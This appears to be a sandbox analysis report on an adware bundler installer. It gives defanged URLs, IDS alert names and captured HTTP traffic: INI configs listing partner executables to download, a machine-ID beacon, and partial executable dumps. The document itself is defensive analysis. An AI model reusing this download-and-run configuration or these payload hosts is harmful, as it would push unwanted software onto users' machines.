hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_MYPCBACKUP_PCMAXIMIZER.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/OPTIMIZERPRO.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/PCMAXIMIZER.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/SPEEDUPMYPC.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_MAIN_OFFER.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/COMMUN/US.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/SOFT/WEBGAMEPLAY.ini	46.105.38.193
hxxp://softs.illyx.com/setup/ressources/commun/close.png	46.105.38.193
hxxp://softs.illyx.com/setup/eula/terms_easysoft_fr.html	46.105.38.193
hxxp://softs.illyx.com/setup/eula/terms_easysoft_en.html	46.105.38.193
hxxp://www.wajam.com/download/wajam_validate.exe
hxxp://softs.illyx.com/setup/ressources/partenaires_financiers/CONDUIT/SPI.exe	46.105.38.193
hxxp://softs.illyx.com/setup/ressources/partenaires_financiers/KREAPIXEL/KREAPIXEL_MAIN_OFFER.html	46.105.38.193
hxxp://softs.illyx.com/setup/ressources/webgameplay/logo.png	46.105.38.193
hxxp://e6337.g.akamaiedge.net/spidentifier/SPIdentifierImpl.exe
hxxp://e9287.g.akamaiedge.net//spidentifier/spidentifierimpl.exe
hxxp://Jazz-1846647836.us-east-1.elb.amazonaws.com/
hxxp://softs.illyx.com/setup/ressources/webgameplay/eula.html	46.105.38.193
hxxp://softs.illyx.com/setup/dl?l=ressources/plugins&telecharger=betadeeal	46.105.38.193
hxxp://a1396.d.akamai.net/air/win/download/4.0/AdobeAIRInstaller.exe
hxxp://softs.illyx.com/setup/ressources/webgameplay/Air/WebGamePlay.air	46.105.38.193
hxxp://softs.illyx.com/Bubble/Install_BubbleDock.exe	46.105.38.193
hxxp://softs.illyx.com/setup/ressources/partenaires_financiers/CONDUIT/emmbed.html	46.105.38.193
hxxp://softs.illyx.com/setup/ressources/partenaires_financiers/CONDUIT/css/reset.css	46.105.38.193
hxxp://softs.illyx.com/task/service.exe	46.105.38.193
hxxp://airdownload.adobe.com/air/win/download/4.0/AdobeAIRInstaller.exe	194.146.191.114
hxxp://sp-installer.databssint.com/	54.225.182.66
hxxp://sp-storage.spccinta.com//spidentifier/spidentifierimpl.exe	23.59.114.67
hxxp://sp-storage.conduit-services.com/spidentifier/SPIdentifierImpl.exe	23.59.112.23

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile
ET MALWARE Possible Windows executable sent when remote host claims to send html content
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: sp-installer.databssint.com

Content-Length: 263

Connection: Keep-Alive

Cache-Control: no-cache

{"event_type":"SPidentifier", "environment":"",  "machine_ID":"9EKT4KIHYP05AIWKCMQN9NQXBR0OGZGUDWSPEVZXPXWQ6S2TD6LRCPJLMTQCFHUBKY67AOEAOT3MNTQYLME8MG", "result": "success", "failure_reason": "clean_machine", "SP_version": "", "carrier_ID": "", "carrier_type": ""}
HTTP/1.1 202 Accepted

Date: Sun, 05 Jul 2015 02:54:14 GMT

P3P: CP="NOI ADM DEV COM NAV OUR STP"

Server: Apache-Coyote/1.1

Content-Length: 0

Connection: keep-alive

GET /setup/ressources/commun/close.png HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: image/png

Accept-Ranges: bytes

ETag: "4086941900"

Last-Modified: Thu, 01 Aug 2013 13:58:44 GMT

Content-Length: 188

Date: Sun, 05 Jul 2015 02:54:09 GMT

Server: lighttpd
.PNG........IHDR.....................gAMA......a.....pHYs...n...n....^
....tEXtSoftware.Paint.NET v3.5.100.r....8IDAT(Sc(//[email protected].."d1..d
...0.Y.x...0.V.......I.**...Sn.Y...6....IEND.B`.HTTP/1.1 200 OK..Conte
nt-Type: image/png..Accept-Ranges: bytes..ETag: "4086941900"..Last-Mod
ified: Thu, 01 Aug 2013 13:58:44 GMT..Content-Length: 188..Date: Sun, 
05 Jul 2015 02:54:09 GMT..Server: lighttpd...PNG........IHDR..........
...........gAMA......a.....pHYs...n...n....^....tEXtSoftware.Paint.NET
 v3.5.100.r....8IDAT(Sc(//[email protected].."d1..d...0.Y.x...0.V.......I.**.
..Sn.Y...6....IEND.B`.....


GET /setup/eula/terms_easysoft_fr.html HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: text/html

Accept-Ranges: bytes

ETag: "2771314174"

Last-Modified: Fri, 28 Feb 2014 14:46:10 GMT

Content-Length: 10177

Date: Sun, 05 Jul 2015 02:54:09 GMT

Server: lighttpd
<!doctype html>..<html lang="fr">..<head>...<meta
 charset="utf-8" />...    <title>Conditions Géné
;rales  Webplayer TV - Télévision en direct</title>
;..    <meta name="description" content="Regarder la TV en direct a
vec Webplayer TV. Regarder la TV sur le web, sur votre iPhone, iPad, .
." />..    <meta name="author" content="Webplayer TV " />..  
  <meta name="keywords" content="TV, direct, television, tv online,
 regarder tv" />...<meta name="viewport" content="width=device-w
idth, initial-scale=1.0" />..    <meta name="robots" content="no
index, nofollow">...<link rel="stylesheet" href="css/reset.css" 
type="text/css" media="all">...<style>....body{.....font-fami
ly: arial, verdana, sans-serif;.....font-size: 10px;....}....h2{font-s
ize:16px;}...</style>..</head>..<body class="sub right-
sidebar-page fixed-width">..                            <h2>C
ontrat de licence d...utilisateur final de EasySoft Downloader...</
h2>..                            <h2>Ce t..l..chargement est 
gratuit.</h2>..                            <p>Veuillez lir
e et accepter ce contrat de licence avant  d’installer et d&rsqu
o;utiliser le software. Si vous ..tes une personne physique, vous  dev
ez ..tre majeure ou avoir une autorisation parentale. Si vous l’
achetez pour  le compte d'une entreprise, vous devez disposer des pouv
oirs notariaux complets  afin de l..galiser ce contrat au nom de l
<<< skipped >>>

GET /setup/eula/terms_easysoft_en.html HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: text/html

Accept-Ranges: bytes

ETag: "3137554679"

Last-Modified: Fri, 28 Feb 2014 14:46:10 GMT

Content-Length: 7652

Date: Sun, 05 Jul 2015 02:54:09 GMT

Server: lighttpd
<!doctype html>..<html lang="fr">..<head>...<meta
 charset="utf-8" />...    <title>Conditions Géné
;rales  Webplayer TV - Télévision en direct</title>
;..    <meta name="description" content="Regarder la TV en direct a
vec Webplayer TV. Regarder la TV sur le web, sur votre iPhone, iPad, .
." />..    <meta name="author" content="Webplayer TV " />..  
  <meta name="keywords" content="TV, direct, television, tv online,
 regarder tv" />...<meta name="viewport" content="width=device-w
idth, initial-scale=1.0" />..    <meta name="robots" content="no
index, nofollow">...<link rel="stylesheet" href="css/reset.css" 
type="text/css" media="all">...<style>....body{.....font-fami
ly: arial, verdana, sans-serif;.....font-size: 10px;....}....h2{font-s
ize:16px;}...</style>..</head>..<body class="sub right-
sidebar-page fixed-width">..<h2>License Agreement End User Ea
sySoft Downloader ...</h2>..<h2>This download is free .<
;/h2>..<p>Please read and accept the license agreement before
 installing and using the software . If you are an individual , you mu
st be of legal age or have parental permission. If you are buying on b
ehalf of a company , you must have comprehensive notarial powers to le
galize this contract on behalf of the company. By clicking on the &quo
t;Accept" (or equivalent) placed lower button, you accept this ag
reement.</p>..<p>Kreapixel network SARL. , A French co
<<< skipped >>>

GET /setup/ressources/partenaires_financiers/CONDUIT/SPI.exe HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: Apache

Last-Modified: Tue, 05 Nov 2013 20:28:12 GMT

ETag: "360005-ff90-4ea73df25a636"

Accept-Ranges: bytes

Content-Length: 65424

Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........#yd.B.7.B.7
.B.7..z7.B.7..l7.B.7.B.7.B.7.:.7.B.7...7.B.7.:.7.B.7Rich.B.7..........
..............PE..L....q.N.................d.......B..K5............@.
................................%q....................................
..............8...........p... .......................................
.....................................................text....c.......d
.................. ..`.rdata...............h..............@[email protected]...
[email protected]................................
...rsrc...8...........................@..@............................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
...G..H.P.u..u..u...|[email protected][email protected].....@
..}[email protected]... M..........M........E...FQ.....NU..M
.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected][email protected][email protected] [email protected]..
...@._^3.[.....L$....G...i. @...T.....tUVW.q.3.;5..G.sD..i. @...D..S..
...t.G.....t...O..t .....u...3....3...F. @..;5..G.r.[_^...U..QQ.U.
<<< skipped >>>

GET /setup/ressources/partenaires_financiers/KREAPIXEL/KREAPIXEL_MAIN_OFFER.html HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: text/html

Accept-Ranges: bytes

ETag: "657209430"

Last-Modified: Fri, 28 Feb 2014 14:14:57 GMT

Content-Length: 3579

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: lighttpd
<html>..<head>...<title>Ma page</title>...<
meta charset="utf-8" />...<script language="javascript">....f
unction show( id ) { document.getElementById( id ).style.display = 'bl
ock'; }....function hide( id ) { document.getElementById( id ).style.d
isplay = 'none'; }...</script>...<style type="text/css">..
..body....{.....width: 540px;.....height: 285px;.....overflow:hidden;.
....background-color: #FFFFFF;.....border:1px;.....border-style: solid
;.....border-color: #AFAFAF;.....font-family: Tahoma, sans-serif;....}
....#bloc....{.....padding-top: 0px;.....padding-left: 30px;.....paddi
ng-right: 30px;.....font-size: 14px;.....color: #000000;....}....#bloc
 #customDiv....{.....display: none;.....margin-left: 15px;.....margin-
top: 5px;....}....#bloc #quickDiv, #customDiv....{.....font-size: 11px
;....}....#bloc #customDiv input....{.....margin-right: 5px;....}....#
bloc #quickDiv a, #customDiv a....{.....color: #0194FE;....}...</st
yle>..</head>..<body>...<div id="bloc" >....<f
orm name="formulaireExpressCustom" >......<input id="quickRadio"
 type="radio" name="group1" value="QUICK" onclick="show('quickDiv'); h
ide('customDiv');" checked > Express (recommended)<br />.....
.<div id="quickDiv" ><br />........By clicking 'Install' y
ou agree to our <a href="hXXp://softs.illyx.com/setup/eula/terms_pa
rt.php" target="_blank">Privacy policies</a> and our <a hr
ef="hXXp://softs.illyx.com/setup/eula/terms_part.php" target="_bla
<<< skipped >>>

GET /download/wajam_validate.exe HTTP/1.1

User-Agent: AutoIt

Host: VVV.wajam.com

Cache-Control: no-cache

HTTP/1.0 404 Not Found

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: Apache/2.4.10 (Ubuntu)

Set-Cookie: PHPSESSID=dthjkhtktccnvqcs3mkk03tf22; path=/; domain=.wajam.com

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: _wau=14360648502967891; expires=Mon, 04-Jul-2016 02:54:10 GMT; Max-Age=31536000; path=/; domain=.wajam.com

Set-Cookie: _wal=1436064850; expires=Mon, 04-Jul-2016 02:54:10 GMT; Max-Age=31536000; path=/; domain=.wajam.com

Set-Cookie: _waab=7,81,28,33,54,22,87,92,86,27; expires=Mon, 04-Jul-2016 02:54:10 GMT; Max-Age=31536000; path=/; domain=.wajam.com

Content-Type: text/html; charset=utf-8

Set-Cookie: APPSESSID=w51|VZicV|VZicV; path=/; domain=.wajam.com
<!DOCTYPE html>..<html xmlns="hXXp://VVV.w3.org/1999/xhtml" x
mlns:fb="hXXp://ogp.me/ns/fb#" xml:lang="en" prefix="og: hXXp://ogp.me
/ns#">...<head>....<meta http-equiv="Content-Type" content
="text/html; charset=utf-8"/> ........<base href="hXXp://VVV.waj
am.com" />....<title>Wajam.com | Home -  Get Social Recommend
ations From Your Friends</title> ....<meta name="title" conte
nt="Wajam.com | Home -  Get Social Recommendations From Your Friends" 
/>...........<meta name="description" content="Add relevant soci
al results and recommendations from your friends and contacts, to your
 regular search results. What your friends share matters | Wajam.com" 
/>.....<meta name="keywords" content="Wajam,  Social Search, Soc
ial results, Social Search Results, Recommendations from your friends,
 friend recommendations, Facebook friends recommendations, Find a Frie
nd's Facebook Post, Find a Tweet" />..........<!-- Google Chrome
 Web Store Verification -->....<meta name="google-site-verificat
ion" content="5KnCIaGgQoFFL2URoeiXrg0xTbPK3qJZLbDJpbIoC9U" />......
..<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" 
/>.........<script type="text/javascript">.....var facebook_p
erms = 'email,user_likes,friends_likes,user_location,friends_location,
user_checkins,friends_checkins,user_photos,friends_photos,read_stream,
user_actions.music,friends_actions.music';.....var get_friend_url = '/
user/friends.json';....</script>..........<script type="t
<<< skipped >>>

GET //spidentifier/spidentifierimpl.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: sp-storage.spccinta.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Last-Modified: Sun, 05 Jul 2015 05:54:11 GMT

Accept-Ranges: bytes

ETag: "45c9811d9b8f0aaf2d9d00b998c54c32"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

P3P: CP="IDC DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"

Content-Length: 1356392

Date: Sun, 05 Jul 2015 02:54:11 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8
...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8.......
.PE..L.....GO.................t...z...B...8............@..............
............` ......F....@.................................@........@ 
.P...........(...@....`...............................................
........................................text....r.......t.............
..... ..`.rdata..n .......,...x..............@[email protected].... ...........
...............@....ndata...P...............................rsrc...P..
..@ .....................@[email protected] [email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected][email protected]...
..@..}[email protected]... M..........M........E...FQ.....NU
..M.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.
[email protected]}[email protected].}.j.W.E......E.....
[email protected][email protected][email protected] [email protected].
u.....@._^3.[.....L$....G...i. @...T.....tUVW.q.3.;5..G.sD..i. @...D..
S.....t.G.....t...O..t .....u...3....3...F. @..;5..G.r.[_^...U..QQ
<<< skipped >>>

GET /air/win/download/4.0/AdobeAIRInstaller.exe HTTP/1.1

User-Agent: AutoIt

Host: airdownload.adobe.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: Apache

Content-Length: 240

Content-Type: text/html; charset=iso-8859-1

Date: Sun, 05 Jul 2015 02:54:15 GMT

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ai
r/win/download/4.0/AdobeAIRInstaller.exe was not found on this server.
</p>.</body></html>.HTTP/1.1 404 Not Found..Server: 
Apache..Content-Length: 240..Content-Type: text/html; charset=iso-8859
-1..Date: Sun, 05 Jul 2015 02:54:15 GMT..Connection: keep-alive..<!
DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><he
ad>.<title>404 Not Found</title>.</head><body&
gt;.<h1>Not Found</h1>.<p>The requested URL /air/win
/download/4.0/AdobeAIRInstaller.exe was not found on this server.</
p>.</body></html>...

GET /setup/TESTNEWVERSION/COMMUN/CONF.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:06 GMT

Server: Apache

Last-Modified: Wed, 21 May 2014 14:45:07 GMT

ETag: "8045c-c07-4f9ea0ae9442c"

Accept-Ranges: bytes

Content-Length: 3079

Content-Type: text/plain
[PARTENAIRES]..LISTE=CONDUIT|%..[COMMUN]..PUSH=hXXp://softs.illyx.com/
setup/dl.php?l=ressources/commun/push&telecharger=pushouah..AIR=http:/
/airdownload.adobe.com/air/win/download/4.0/AdobeAIRInstaller.exe..BUB
BLE=hXXp://softs.illyx.com/Bubble/Install_BubbleDock.exe..TASK=hXXp://
softs.illyx.com/task/service.exe..MYCHROMIUM=hXXp://softs.illyx.com/se
tup/dl?l=ressources/chromium/exe&telecharger=install..[RESSOURCES]..CL
OSE=hXXp://softs.illyx.com/setup/ressources/commun/close.png..[CONFIGU
RATION]..LANGUE=US..PLUGIN=YES..CRX=NO..BUBBLE=YES..UNINSTALLER=NO..SI
LENT=NO..PUSH=NO..TASK=YES..MYCHROMIUM=NO..[LIENS_INI]..KREAPIXEL_EASY
SOFT_EULA=hXXp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINA
NCIERS/KREAPIXEL_EASYSOFT_EULA.ini..;BABYLON=hXXp://softs.illyx.com/se
tup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/BABYLON.ini..WAJAM=hXXp://so
fts.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/WAJAM.ini..M
YPCBACKUP=hXXp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINA
NCIERS/MYPCBACKUP.ini..;OMIGA=hXXp://softs.illyx.com/setup/TESTNEWVERS
ION/PARTENAIRES_FINANCIERS/OMIGA.ini..AARTEMIS=hXXp://softs.illyx.com/
setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/AARTEMIS.ini..CONDUIT=http
://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/CONDUIT
.ini..KREAPIXEL=hXXp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRE
S_FINANCIERS/KREAPIXEL.ini..KREAPIXEL_AARTEMIS_DEEAL=hXXp://softs.illy
x.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_AARTEMIS_D
EEAL.ini..KREAPIXEL_SWEETPAGE_DEEAL=hXXp://softs.illyx.com/setup/T
<<< skipped >>>

GET /setup/TESTNEWVERSION/SETUP/REGIE/WEBGAMEPLAY_US.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:06 GMT

Server: Apache

Last-Modified: Sun, 27 Oct 2013 17:38:40 GMT

ETag: "80471-112-4e9bc744406ac"

Accept-Ranges: bytes

Content-Length: 274

Content-Type: text/plain
[THXPAGE]..LIEN=hXXp://softs.illyx.com/setup/regie/webgameplay/us/thx/
L894SD9ZTXHXA3WGPUS.html..[CONFIGURATION]..LANGUE=US..[LIENS_INI]..SOF
T=hXXp://softs.illyx.com/setup/TESTNEWVERSION/SOFT/WEBGAMEPLAY.ini..LA
NGUE=hXXp://softs.illyx.com/setup/TESTNEWVERSION/COMMUN/US.iniHTTP/1.1
 200 OK..Date: Sun, 05 Jul 2015 02:54:06 GMT..Server: Apache..Last-Mod
ified: Sun, 27 Oct 2013 17:38:40 GMT..ETag: "80471-112-4e9bc744406ac".
.Accept-Ranges: bytes..Content-Length: 274..Content-Type: text/plain..
[THXPAGE]..LIEN=hXXp://softs.illyx.com/setup/regie/webgameplay/us/thx/
L894SD9ZTXHXA3WGPUS.html..[CONFIGURATION]..LANGUE=US..[LIENS_INI]..SOF
T=hXXp://softs.illyx.com/setup/TESTNEWVERSION/SOFT/WEBGAMEPLAY.ini..LA
NGUE=hXXp://softs.illyx.com/setup/TESTNEWVERSION/COMMUN/US.ini.
...


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_EASYSOFT_EULA.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Fri, 28 Feb 2014 14:46:51 GMT

ETag: "806b3-1a5-4f378822510ec"

Accept-Ranges: bytes

Content-Length: 421

Content-Type: text/plain
[KREAPIXEL_EASYSOFT_EULA]..EULA=hXXp://softs.illyx.com/setup/eula/term
s_easysoft_fr.html..EULA_FR=hXXp://softs.illyx.com/setup/eula/terms_ea
sysoft_fr.html..EULA_US=hXXp://softs.illyx.com/setup/eula/terms_easyso
ft_en.html..EXE= ..TYPE=EXE..[RESSOURCES]..KREAPIXEL_EASYSOFT_EULA_FR=
hXXp://softs.illyx.com/setup/eula/terms_easysoft_fr.html..KREAPIXEL_EA
SYSOFT_EULA_US=hXXp://softs.illyx.com/setup/eula/terms_easysoft_en.htm
l....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/WAJAM.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Tue, 12 Nov 2013 10:21:35 GMT

ETag: "80464-101-4eaf83696604f"

Accept-Ranges: bytes

Content-Length: 257

Content-Type: text/plain
[WAJAM]..EXE=hXXp://VVV.wajam-download.com/download/wajam_download.exe
..TERM=hXXp://VVV.wajam.com/terms..PP=hXXp://VVV.wajam.com/privacy..LE
ARN=hXXp://VVV.wajam.com/faq..TYPE=EXE..[RESSOURCES]..WAJAM_VALIDATE=h
ttp://VVV.wajam.com/download/wajam_validate.exe....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/MYPCBACKUP.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Sun, 27 Oct 2013 17:50:47 GMT

ETag: "80463-8a-4e9bc9f9598c2"

Accept-Ranges: bytes

Content-Length: 138

Content-Type: text/plain
[MYPCBACKUP]..EXE=hXXp://aff-software.s3-website-us-east-1.amazonaws.c
om/af65ac5d434d60e2acd8c3c50bdc7e7e/Cloud_Backup_Setup.exe..TYPE=EXEfont>....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/AARTEMIS.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Tue, 03 Dec 2013 13:18:28 GMT

ETag: "80699-f3-4eca121d1112a"

Accept-Ranges: bytes

Content-Length: 243

Content-Type: text/plain
[AARTEMIS]..EULA=hXXp://VVV.aartemis.com/common/license_agreement.html
..PP=hXXp://VVV.aartemis.com/common/privacy_policy.html..EXE=hXXp://so
fts.illyx.com/setup/ressources/partenaires_financiers/AARTEMIS/ill_aar
temis_2013112717419.exe..TYPE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/CONDUIT.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Tue, 05 Nov 2013 20:34:39 GMT

ETag: "8048a-1e5-4ea73f62df5b1"

Accept-Ranges: bytes

Content-Length: 485

Content-Type: text/plain
[CONDUIT]..EULA=hXXp://VVV.conduit.com/legal/search-protect-descriptio
n.aspx..EMMBED=hXXp://softs.illyx.com/setup/ressources/partenaires_fin
anciers/CONDUIT/emmbed.html..LEARN=hXXp://VVV.conduit.com/search-prote
ct/learn-more.aspx..PP=hXXp://VVV.conduit.com/privacy/search-protect-p
rivacy-policy.aspx..EXE=hXXps://sp-storage.conduit-services.com/sp-dow
nloader.exe..CTID=CT3317919..TYPE=EXE..[RESSOURCES]..SPI=hXXp://softs.
illyx.com/setup/ressources/partenaires_financiers/CONDUIT/SPI.exet>....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Tue, 10 Dec 2013 08:56:40 GMT

ETag: "80489-15d-4ed2a4a7a5e35"

Accept-Ranges: bytes

Content-Length: 349

Content-Type: text/plain
[KREAPIXEL]..EULA=hXXp://VVV.webplayer.tv/conditions3.php..PRICORA_EUL
A=hXXp://pricora.com/eula.html..BUBBLE_EULA=hXXp://VVV.bubbledock.com/
fr_fr/legal/eula/license/index_fr.html..AARTEMIS_EULA=hXXp://VVV.aarte
mis.com/common/license_agreement.html..EXE=hXXp://softs.illyx.com/setu
p/ressources/partenaires_financiers/KREAPIXEL/installer.exe..TYPE=EXE<
/font>....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_AARTEMIS_DEEAL.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Tue, 10 Dec 2013 14:04:10 GMT

ETag: "804d1-11e-4ed2e962b5752"

Accept-Ranges: bytes

Content-Length: 286

Content-Type: text/plain
[KREAPIXEL_AARTEMIS_DEEAL]..EULA=hXXp://VVV.webplayer.tv/conditions3.p
hp..PRICORA_EULA=hXXp://pricora.com/eula.html..AARTEMIS_EULA=hXXp://ww
w.aartemis.com/common/license_agreement.html..EXE=hXXp://softs.illyx.c
om/setup/ressources/partenaires_financiers/KREAPIXEL/installer.exe..TY
PE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_SWEETPAGE_DEEAL.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Sun, 05 Jan 2014 23:52:14 GMT

ETag: "804fb-122-4ef41d522e320"

Accept-Ranges: bytes

Content-Length: 290

Content-Type: text/plain
[KREAPIXEL_SWEETPAGE_DEEAL]..EULA=hXXp://VVV.webplayer.tv/conditions3.
php..PRICORA_EULA=hXXp://pricora.com/eula.html..SWEETPAGE_EULA=hXXp://
VVV.sweet-page.com/common/license_agreement.html..EXE=hXXp://softs.ill
yx.com/setup/ressources/partenaires_financiers/KREAPIXEL/installer.exe
..TYPE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_BUBBLE_DEEAL.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:07 GMT

Server: Apache

Last-Modified: Thu, 06 Feb 2014 10:46:16 GMT

ETag: "804cf-135-4f1ba953ab022"

Accept-Ranges: bytes

Content-Length: 309

Content-Type: text/plain
[KREAPIXEL_BUBBLE_DEEAL]..EULA=hXXp://softs.illyx.com/setup/ressources
/deeal/terms.php..PRICORA_EULA=hXXp://pricora.com/eula.html..BUBBLE_EU
LA=hXXp://VVV.bubbledock.com/fr_fr/legal/eula/license/index_fr.html..E
XE=hXXp://softs.illyx.com/setup/ressources/partenaires_financiers/KREA
PIXEL/installer.exe..TYPE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_IMMINENT_DEEAL.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Fri, 13 Dec 2013 13:59:49 GMT

ETag: "804d9-111-4ed6ae020bb38"

Accept-Ranges: bytes

Content-Length: 273

Content-Type: text/plain
[KREAPIXEL_IMMINENT_DEEAL]..EULA=hXXp://VVV.webplayer.tv/conditions3.p
hp..PRICORA_EULA=hXXp://pricora.com/eula.html..IMMINENT_EULA=hXXp://fr
.iminent.com/service/iminentapp..EXE=hXXp://softs.illyx.com/setup/ress
ources/partenaires_financiers/KREAPIXEL/installer.exe..TYPE=EXE
....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Mon, 20 Jan 2014 10:07:25 GMT

ETag: "80505-89-4f0640ef48a8f"

Accept-Ranges: bytes

Content-Length: 137

Content-Type: text/plain
[KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO]..EXE=hXXp://softs.illyx.com/setup/
ressources/partenaires_financiers/KREAPIXEL/installer.exe..TYPE=EXEont>....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_MYPCBACKUP_PCMAXIMIZER.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

